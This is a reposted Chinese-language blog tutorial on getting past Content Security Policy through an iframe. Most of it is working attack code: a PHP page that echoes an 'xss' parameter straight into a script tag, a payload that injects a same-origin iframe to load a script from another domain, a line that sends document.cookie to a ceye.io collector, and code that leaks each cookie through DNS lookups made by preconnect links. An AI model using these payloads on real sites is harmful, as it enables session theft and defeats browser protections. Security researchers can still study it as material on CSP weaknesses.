通過iframe標簽繞過csp

本文轉載自查看原文 2018-07-12 11:01 1228 前端

iframe.php代碼如下：

allow-popups開啟時，window.open就可以打開新的窗口。

看csp規則，默認是在當前域內，如果這是一個ctf題的話，就很簡單了，window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie傳出來。

但是要是遠程加載js文件是不滿足csp規則的。

<?php 
header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups");
setcookie('afanti','test');
?>
<!DOCTYPE html>
<html>
<head>
    <title>bypass csp</title>
</head>
<body>
 <script> <?php echo $_GET['xss']; ?></script>
</body>

被csp規則攔住：

通過iframe引入外部js，其中iframe的src屬性必須是同域下的。

引入的js代碼如下：

f=document.createElement("iframe");
f.id="pwn";
f.src="./1.txt";
f.onload=()=>{
    x=document.createElement('script');
    x.src='//www.123.com/csp/1.js';                  
    pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);

這時候就能繞過csp引入其他域下的js了。

但是存在的問題就是，雖然能將外部的js引入，不能把瀏覽器的數據帶出來。

解決辦法：通過dns通道來傳遞cookie。

dc = document.cookie;
dcl = dc.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") +  ".on1sw1.ceye.io\">";
console.log(n0.innerHTML);
}